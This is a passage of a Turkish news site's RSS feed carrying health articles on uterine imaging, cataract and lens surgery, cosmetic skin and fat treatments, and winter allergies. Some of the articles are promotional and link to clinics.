<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Rahim filmi daha evvel belirttiğimiz gibi ilk olarak doktorun isteği üzerine <strong><span style="font-family:&quot;Arial&quot;,sans-serif">görüntüleme merkezi</span></strong> tarafından ve sistem cihazlarla yapılmaktadır. Hastanın adet döngüsü bitince, yumurtlama döneminde çekilme doktor tarından hastaya iletilmektedir.</span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Rahim Filmi Ne Kadar Sürer?</span></span></span></strong></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Klasik bir röntgen çekimi kadar kısa bir sürede tamamlanmaktadır. <strong><span style="font-family:&quot;Arial&quot;,sans-serif">Rahim filmi</span></strong> diğer filmlerden sadece farkı ekipmanlardır. </span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Rahim Filmi Ağrılı Bir İşlem Mi?</span></span></span></strong></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Sadece bir anlık sızı yaşanması mümkündür. Tarif edilen ise adet sancısı kadar olduğu söylenmektedir. <strong><span style="font-family:&quot;Arial&quot;,sans-serif">Rahim filmi</span></strong> çekildikten sonra, her hangi bir şekilde korkulacak bir sorun oluşmaz. </span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Rahim Filmi Fiyatları</span></span></span></strong></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Ortalama olarak özel hastanelerde bin Türk lirası ve üzeri olarak hesaplanmaktadır. Devlet hastanelerinde yapılırken bunun için az miktarda bir gişe ödemesi istenebilir.</span></span></span></span></p>

<p>&nbsp;</p>]]></content:encoded>
                <pubDate>Sat, 12 Nov 2022 15:05:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler"/>
            </item>
                                <item>
                <title>Katarakt Tedavisi</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/katarakt-tedavisi-548542</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/katarakt-tedavisi-548542</guid>
                <description><![CDATA[Katarakt gözün şeffaf lensini bulanıklaştırır ve kişinin görme fonksiyonunu etkiler. Zamanla yazıları ve cisimleri, renkleri görememeye başlanır. Bunun için en sağlıklı ve kalıcı tedavi katarakt ameliyatı olmaktır.]]></description>
                <content:encoded><![CDATA[<h2>&nbsp;</h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Katarakt gözün şeffaf lensini bulanıklaştırır ve kişinin görme fonksiyonunu etkiler. Zamanla yazıları ve cisimleri, renkleri görememeye başlanır. Bunun için en sağlıklı ve kalıcı tedavi katarakt ameliyatı olmaktır. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Günümüzde gözde oluşan katarakt gibi görmeyi engelleyen hastalıklar başarılı bir şekilde <strong>katarakt ameliyatı </strong>olunarak sorun olmaktan çıkmaktadır. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Katarakt Ameliyatı Ne Zaman Gerekir? Kimler Olmalıdır?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Etrafında bulunan renklerin solması, bulanık görme, bir şeyi okurken zorluk çekme, ışığa duyarlılık gibi durumlar yaşanıyorsa </span><a href="https://gokhangulkilik.com/katarakt-ameliyati/" style="color:blue; text-decoration:underline"><strong><span style="font-family:&quot;Calibri&quot;,sans-serif">katarakt ameliyatı</span></strong></a><strong> </strong><span style="font-family:&quot;Calibri&quot;,sans-serif">olunması gerekir. Bunun gibi görmekle alakalı göz sorunu yaşayan herkes bu ameliyatı olmalıdır. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Katarakt Nasıl Oluşur? Belirtileri Nelerdir?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Gözde bulunan lens zamanla kalınlaşır, değişir ve bozulur bu gibi durumlarda katarakt oluşur. Etrafında bulunan cisimleri görmede zorlanma, çift görme, gece görüşünde zorluk, gözde uçuşan parlak nesneler katarakt belirtileridir. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Katarakt Türleri Nelerdir?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Katarakt türleri olarak; yaşa bağlı katarakt, ikincil katarakt, doğumsal katarakt, presenil katarakt, travmatik katarakt ve komplike katarakt türleri <strong>katarakt ameliyatı </strong>ile tedavi edilmektedir. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Akıllı Lens Nedir?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Üç odaklı göz içi lenslere </span><a href="https://gokhangulkilik.com/akilli-lens/" style="color:blue; text-decoration:underline"><strong><span style="font-family:&quot;Calibri&quot;,sans-serif">akıllı</span></strong><span style="font-family:&quot;Calibri&quot;,sans-serif"> <strong>lens</strong></span></a><span style="font-family:&quot;Calibri&quot;,sans-serif"> denir ve bu lensler katarakt ameliyatında takılması uygun görülen hastalara takılarak görmesi sağlanır. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Akıllı Lenslere Neden İhtiyaç Duyulur?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Görme fonksiyonunu kaybeden gözün tekrar görmesi ve kalıcı bir çözüm bulunması için akıllı lenslere ihtiyaç duyulur. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Çok Odaklı Göz İçi Lens Çeşitleri Nelerdir?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Çok odaklı göz içi lensleri, monofokal tek odaklı, multifokal çok odaklı ve trifokal 3 odaklı lensler olarak ayrılmaktadır. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Akıllı Lens Operasyonu Nasıl Gerçekleştirilir?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Bu operasyonda her iki göz farklı günlerde ameliyat edilir. <strong>Akıllı lens </strong>operasyonunda gözlerdeki değişen ve bozulan lensler çıkartılarak yerlerine akıllı lensler yerleştirilir. Hastanın gözüne göz bandı konularak operasyon tamamlanır bu bantlar doktor tarafından bir gün sonra alınır ve hasta günlük yaşamına döner. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Ameliyat Sonrası Dikkat Edilmesi Gerekenler Nelerdir?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Ameliyat sonrasında hastalar doktor damlasını kullanmalı ve gözü herhangi bir darbeye karşı korumalıdır. Yüz üstü yatmamaya ve 1 hafta gözleri suya değdirmemeye dikkat etmelidir. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Akıllı Lenslerin Avantajları Nelerdir?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Gözlük kullanmayan ve sevmeyen kişiler <strong>akıllı lens</strong> taktırarak bu sorundan kurtulur ve her işlerini kolayca yapabilir. Akıllı lensler ömür boyu kullanılır ve son derece güvenli ve sağlıklıdır. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Akıllı Lens Fiyatları</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Genel kapsamda akıllı lenslerin fiyatlarını lensin türü, ameliyatın yapılacağı yer ve doktor, hastanın gözünün durumu gibi etkenler etkilediği için değişmektedir. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Retina Dekolmanının Nedenleri Nelerdir?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Gözde bulunan vitreus sıvısının azalması ve büzüşmesi <strong>retina dekolmanı</strong> oluşmasını sağlar ayrıca ilerleyen yaş, yüksek derecede miyop, genetik kalıtımsallar ve göz ameliyatları retina dekolmanına nedenleridir. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Genel itibariyle</span><strong> </strong><a href="https://gokhangulkilik.com/retina-dekolmani/" style="color:blue; text-decoration:underline"><strong><span style="font-family:&quot;Calibri&quot;,sans-serif">retina dekolmanı</span></strong></a><strong> </strong><span style="font-family:&quot;Calibri&quot;,sans-serif">son derece ciddiye alınması gereken riskli bir göz hastalığıdır. Bu hastalıklı kişiler mutlaka zaman kaybetmeden bir göz doktoru tarafından muayene edilmeli ve tedaviye başlamalıdır. Önemsemeyen ve üzerinde durulmayan göz bulanıklığı, yakını ve uzağı görememe gibi görme sorunlar dahada ilerleyerek kişinin kör olmasına ve tamamen görmesini engelleyebilir. Bunun için gözle ilgili bir sorun yaşandığında mutlaka aksatılmadan bir göz doktoruna gözükmesi gerekir.</span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Retina Yırtığı ve Dekolmanı Nasıl Teşhis Edilir?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Genel kapsamda retina dekolmanı ve yırtığı göz doktorları tarafından muayene edilerek teşhis edilir. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Retina Dekolmanı İçin Risk Faktörleri Nelerdir?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Kişilerde gözde ışık çakması ve siyah noktaların uçuşması gibi etkenler ile başlayan retina dekolmanı zamanında teşhis ve tedavi edilmezse körlüğe sebep olur. </span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Calibri,sans-serif"><span style="color:#4f81bd">Retina Yırtığı ve Dekolmanı Nasıl Tedavi Edilir?</span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Retina yırtığı ve dekolmanı oluşan kişiler hemen doktora muayene olursa doktorlar bu hastalığı lazer ile tedavi edebilir. Ancak geç teşhiste ve ilerleyen durumunda <strong>retina dekolmanı</strong> ameliyat ile tedavi edilebilir. </span></span></span></p>]]></content:encoded>
                <pubDate>Sat, 12 Nov 2022 15:04:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler"/>
            </item>
                                <item>
                <title>Soğuk Lipoliz</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/soguk-lipoliz-548541</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/soguk-lipoliz-548541</guid>
                <description><![CDATA[Yağların soğutularak ciltten atılması uygulamasına soğuk lipoliz denir. Vücut şekillendirme uygulaması olarak da bilinir. Cerrahi bir uygulama değildir. Bu sayede güvenilir bir şekilde yapılır. Dolaşım sorunu olan kişilere tavsiye edilmez.]]></description>
                <content:encoded><![CDATA[<p style="text-align:justify">&nbsp;</p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Yağların soğutularak ciltten atılması uygulamasına <strong>soğuk lipoliz</strong> denir. Vücut şekillendirme uygulaması olarak da bilinir. Cerrahi bir uygulama değildir. Bu sayede güvenilir bir şekilde yapılır. Dolaşım sorunu olan kişilere tavsiye edilmez.</span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Soğuk Lipoliz Nasıl Uygulanır?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Özel başlığı bulunan cihaz yardımı ile cilt üstünden cilt altında bulunan yağ hücrelerinin soğutulması sağlanır. Seans sonrasında aşırı soğuğa maruz kalan hücreler donarak küçülür. Bu sayede yağlar vücuttan uzaklaştırılır.</span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Kimler İçin Uygundur?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Genetik olarak bölgesel yağlarından kurtulamayan ve genel sağlık düzeyi yerinde olan her bireye <a href="https://www.dermalinelaser.com/soguk-lipoliz/" style="color:blue; text-decoration:underline"><strong>soğuk lipoliz</strong></a> uygulaması başarılı bir şekilde yapılabilir. Kronik rahatsızlığı olan, hamileler ve emziren anneler için önerilmez.</span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Hangi Amaçlarla Kullanılır?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Basen, kalça ve göbek bölgesi gibi alanların incelmesini hızlandırmak ve istenilen fit görüntüye kavuşmak için uygulanır. Uzun süren diyetler ve sıkıcı egzersizlere gerek kalmadan istenilen fiziki görüntüye ulaşılabilir.</span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Soğuk Lipoliz Tedavisi Kaç Seans Sürer?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Seans sayısı ortalama olarak değişiklik gösterir. Her bireyin vücudunda biriken yağ miktarı farklıdır. Bu nedenle seans sayısının sabit olması beklenemez<strong>. Soğuk lipoliz</strong> 4 seansta genellikle istenilen memnuniyeti sağlar.</span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Lazer Epilasyon Kimlere Yapılır?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Cilt yüzeyinde herhangi bir hastalığı bulunmayan, kıl kökleri cihazın görebileceği renk tonuna sahip olan ve bağışıklık sistemi hastalığı bulunmayan herkese <a href="https://www.dermalinelaser.com/lazer-epilasyon/" style="color:blue; text-decoration:underline"><strong>lazer epilasyon</strong></a> yöntemi uygulanır. Uzmanlar genellikle hormon gelişimi tamamlanmış olan kişilere bu epilasyon yöntemini tavsiye ederler. </span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Lazer Epilasyon Nedir?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Kıl köklerinin lazer ışınları ile kontrollü bir şekilde hasara uğratılarak zayıflatılması işlemine <strong>lazer epilasyon</strong> denir. Bu işlem sayesinde kökler kalıcı olarak yanar ve tekrar uzama görülmez. Sosyal hayatta aktif olmak isteyen kişiler için geliştirilen bir tekniktir.</span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Lazer Epilasyon Nasıl Yapılır?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Doktor kontrolünde kişinin cilt yapısına uygun bir cihaz seçilerek işlem gerçekleştirilir. Yan etkisi yok denecek kadar azdır. Uzman hekimlerin kliniklerinde yapılması tavsiye edilir.</span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Lazer Epilasyon Yöntemleri Nelerdir?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Günümüzde kullanılan <strong>lazer epilasyon</strong> yöntemleri ND-Yang, diot lazer ve alexendrite teknikleridir. İşlem sırasında kullanılan cihaz değiştikçe yöntemler farklılaşır. Hangi tekniğin kullanılması gerektiğine doktor karar verir. Kişinin kıl köklerinin kalınlığı, kök rengi ve ten rengi gibi kriterler dikkate alınarak uygulama yapılır. </span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Karbon Peeling Nedir?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Soyularak uygulanan kimyasal içeriği bulunan özel maske uygulamasına <a href="https://www.dermalinelaser.com/karbon-peeling/" style="color:blue; text-decoration:underline"><strong>karbon peeling</strong></a> işlemi denir. Erkekler de günümüzde kadınlar kadar bu uygulamaya talep göstermektedir. Daha estetik ve güzel bir cilde sahip olmak için uygulanır. </span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Karbon Peeling Nasıl Yapılır?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Kimyasal içerikli kişiye özel olarak hazırlanan maskenin cilt üzerine sürülmesi ve soyulması ile gerçekleştirilen bir cilt temizleme işlemidir. <strong>Karbon peeling</strong> kimyasal içerdiği için mutlaka doktor tarafından uygulanmalıdır.</span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Karbon Peeling Ne İşe Yarar?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Cildin temizlenmesi, renk tonunun eşitlenmesi, yaşlanma belirtilerinin yok olması, kollajen üretiminin desteklenmesi ve hormon değişikliklerinin cildi etkilemesini engellemek gibi farklı işlevleri vardır.</span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Karbon Peeling Kimlere Uygulanır?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Egzama ve sedef gibi cilt rahatsızlığı olmayanlar ve kimyasal içerikli maskelere karşı alerjisi bulunmayan kişiler bu uygulamayı istedikleri zaman doktor kontrolünde yaptırabilirler.</span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Karbon Peeling Neden Yaptırmalıyız?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Günlük yüz yıkama rutinlerinde yaptığımız işlemler cildin sadece yüzeyinin temizlenmesini sağlar. Bu nedenle gözümüzle görmediğimiz kirlerin cildimizde herhangi bir enfeksiyon yapmaması ve cildimizin daha sağlıklı kalması için mutlaka <strong>karbon peeling</strong> uygulaması yapılmalıdır.</span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Karbon Peeling Uygulamasının Avantajları Nelerdir?</strong></span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Cildin iç katmanlarına kadar nüfuz eden kirlerin yok olmasını sağlar. Yer ekimine karşı cildi güçlendirir. Kırışıklıkların meydana gelmesini engeller. Cilt daha rahat nefes aldığı için gözenekler küçülür. Birden fazla renk tonunun oluşmasını engeller. </span></span></p>

<p style="text-align:justify">&nbsp;</p>]]></content:encoded>
                <pubDate>Sat, 12 Nov 2022 15:03:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler"/>
            </item>
                                <item>
                <title>KIŞ ALERJİLERİ NASIL MEYDANA GELİR ÖNLEMİ</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/kis-alerjileri-nasil-meydana-gelir-onlemi-548527</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/kis-alerjileri-nasil-meydana-gelir-onlemi-548527</guid>
                <description><![CDATA[Uzmandan Uyarı: Alerjik Vakalar Dünya Çapında Artışta]]></description>
                <content:encoded><![CDATA[<p style=”text-align:center”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong></strong></span></span></p>

<p style=”text-align:center”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>Kış mevsiminin gelmesiyle birlikte gribal semptomlar ve alerji semptomları birbirine karışmış durumda. Özellikle gribal enfeksiyonların alerjik reaksiyonları tetiklediğine dikkat çeken Türkiye Ulusal Alerji ve Klinik İmmünoloji Derneği Üyesi (AID) Doç. Dr. Murat Cansever, ”Kış aylarında artan viral enfeksiyonlar ve hava kirliliği astım ve alerjik nezle gibi hastalığı olan çocuklar için büyük risk taşıyor. Kış aylarında tüm dünyada artan viral enfeksiyonlar, alerjik hastalıkları tetikleyerek görülme sıklığını artırıyor. Enfeksiyonlar dışında, ev içi alerjenler ve artan hava kirliliği de solunum yolu mukozasını bozarak alerjik semptomları ve astım ataklarını tetiklediği için bu mevsimde daha dikkatli olunmalı” dedi.</strong></span></span></p>

<p style=”text-align:center”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Kış mevsimiyle birlikte ortaya çıkan alerjik yakınmaların birçok nedeni var kuşkusuz. Artan hava kirliliği, kapalı alan kullanımının artışı ve doğal olarak ev içi alerjenlere daha fazla maruz kalınması, gribal enfeksiyonların artması gibi birçok neden kış alerjilerinin en büyük tetikleyicileri arasında gösteriliyor. Alerjik hastalıkların, dünya çapında giderek sıklığı artan kronik hastalıklardan biri olduğuna dikkat çeken <strong><span style=”color:black”>Türkiye Ulusal Alerji ve Klinik İmmünoloji Derneği Üyesi (AID) Doç. Dr. <em>Murat Cansever</em>, </span></strong>alerjik hastalıkların günümüzdeki artışının sadece genetik faktörler ile açıklanamadığını, gelişen dünyada endüstrileşme ile başlayan yaşam şartlarında değişme, beslenme alışkanlıklarının değişmesi, kentsel yaşam oranının artması, ev dışı ve içi ortamın kirliliğinin artması, sık antibiyotik kullanımı ve sigara maruziyeti gibi çok farklı nedenlerin alerjik hastalıkları tetiklediğini söyledi. Özellikle kış alerjilerine dikkat edilmesi gerektiğine dikkat çeken Doç. Dr. <strong>Murat Cansever,</strong> konuyla ilgili şunları anlattı:</span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>”Kış alerjilerinin çoğunluğu iç ortamlardadır. İnsanlar özellikle yeterli havalandırma yapılmayan iç ortamlarda daha fazla süre vakit geçirdikleri için kış alerjilerine bağlı semptomlarla karşılaşmaları daha yüksektir. Kış alerjilerinin en sık nedenleri ev tozları, ev tozu akarları, küf sporları, böcek dışkıları ve kabuklarıdır. Soğuk hava ve nem ile özellikle ev içi atmosferinde solunan havadaki artan küf, ev tozu akarı gibi alerjenler, iç ortam ısısını ve neminin artmasını çok sever ve hızla çoğalırlar. Buna bağlı olarak kişide hem cilt hem de solunum yolu alerjileri gelişebilir. Kış aylarında atmosferin hava ısısının ciddi azalması ile birlikte soğuk havaya temas sonrası ciltte halk arasında kurdeşen olarak bilinen ürtiker şeklinde cilt alerjisi gelişir. <strong>Ayrıca astım ve alerjik nezle olan hastaların; soğuk havanın solunum yolunu olumsuz etkileyip hasar oluşturması sonrası bu hastalıklara bağlı semptomları artabilir.”</strong></span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>”EV İÇİ ALERJENLER ASTIM ATAKLARINI TETİKLEYEBİLİR”</strong></span></span></p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Ayrıca kış aylarında artan viral enfeksiyonlar ve hava kirliliğinin astım, alerjik nezle gibi alerjik hastalığı olan çocuklar için risk faktörü oluşturduğunu da söyleyen <strong>Cansever,</strong> ”Kış aylarında tüm dünyada bu viral enfeksiyonlar çok sık görülür. Hızla bulaşıcı özelliği olan bu enfeksiyonlar alerjik hastalıkların semptomlarını artırabilir. Enfeksiyonlar dışında, ev içi alerjenler, artan hava kirliliği solunum yolu mukozasını bozarak alerji semptomlarını ve astım ataklarını tetikleyebilir” diye konuştu. Tüm bu durumların kişinin; günlük sosyal yaşamında, iş hayatında ve çocuk hastalarda okul serüveninde ciddi şekilde yaşam kalitesini bozduğuna dikkat çeken <strong>Cansever,  </strong>bu atakların iş gücü kaybı, çocuklarda eğitim aksaması, okul başarısında düşme gibi zorlukları da beraberinde getirdiğini belirtti.</span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>SOĞUK ALERJİSİNDE ANAFLAKSİYE DİKKAT!</strong></span></span></p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Kışın sıklıkla görülen soğuk alerjisinin nadir de olsa anafilaksiye yol açarak yaşamı tehdit edebileceğini söyleyen <strong>Doç. Dr. Cansever, </strong>”Daha önce yaşanmış anafilaksi öyküsü olan hastalarda epinefrin hazır enjektör bulundurulması ve bu enjektörün doğru kullanımının çok iyi bilinmesi gereklidir. Bununla birlikte nadir de olsa anafilaksi gibi hayatı tehdit eden olayları en aza indirmenin yolu soğuk alerjisi olan bireylerin soğuktan ve soğuk sudan uzak durmasıdır. Soğuk alerjisi olan bireylerin kış aylarında kalın giyinmesi ve soğuğa maruz kalınan süreyi azaltması gerekmektedir” dedi.  </span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>ALERJİ VE GRİBAL ENFEKSİYONU NASIL AYIRIRIZ?</strong></span></span></p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Soğuk alerjileri kışın sık görülen gribal enfeksiyonlarla benzer semptomlar da gösterebiliyor. Peki nasıl ayırt edileceğiz? O konuda da <strong>Doç. Dr. Murat Cansever</strong> şunları söylüyor: </span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>”Kış alerjileri semptomları ve soğuk algınlığı semptomları birbirine çok benzerdir ve ayırt etmek zordur. Alerji herhangi bir yaşta gelişebileceği gibi yıllarca semptom olmaksızın aynı evde aynı maddelerle alerji olmadan yaşamak söz konusu olabilir. Daha önce hiç alerjisi olmayan bir bireyin tüm semptomlarını mutlak soğuk algınlığına bağlamak yanlıştır. Bireyde yeni gelişmiş olabilecek alerjiler asla unutulmamalıdır. <strong>Bu iki klinik durumu ayırt ederken; semptomların birkaç haftadan uzun sürmesi daha çok alerji lehine bir durumdur, </strong>aniden ortaya çıkan semptomlar daha önceden alerjisi olmayan bireylerde sıklıkla soğuk algınlığı ile ilgilidir. Ayrıca soğuk algınlığında ateş eşlik edebilirken, alerjik hastalıklarda ateş olmaz. Soğuk algınlığında olan ağrı ve vücut kırgınlığı, alerjik hastalıklarda tipik olarak görülmez. Soğuk algınlığı olan hastalarda boğaz ağrısı daha sık eşlik ederken alerjik hastalıklarda daha nadir görülmektedir.”</span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Kış aylarında görülme sıklığı artan grip, nezle, farenjit gibi viral solunum yolu enfeksiyonlarının özellikle astım hastalarını olumsuz etkileyip astım kontrolünü bozabileceğini de söyleyen <strong>Cansever </strong>şöyle devam etti: ”Bu nedenle astım ve alerjik nezle hastalarında kışın olumsuz etkilenmeyi azaltmak amaçlı uygun mevsimde grip aşısı yapılması faydalı olacaktır. Bu aşının yapılmasının en azından influenza virüslerine bağlı gelişen astım ataklarını önleyebileceği bilinmektedir.”</span></span></p>

<p style=”text-align:justify”> </p>

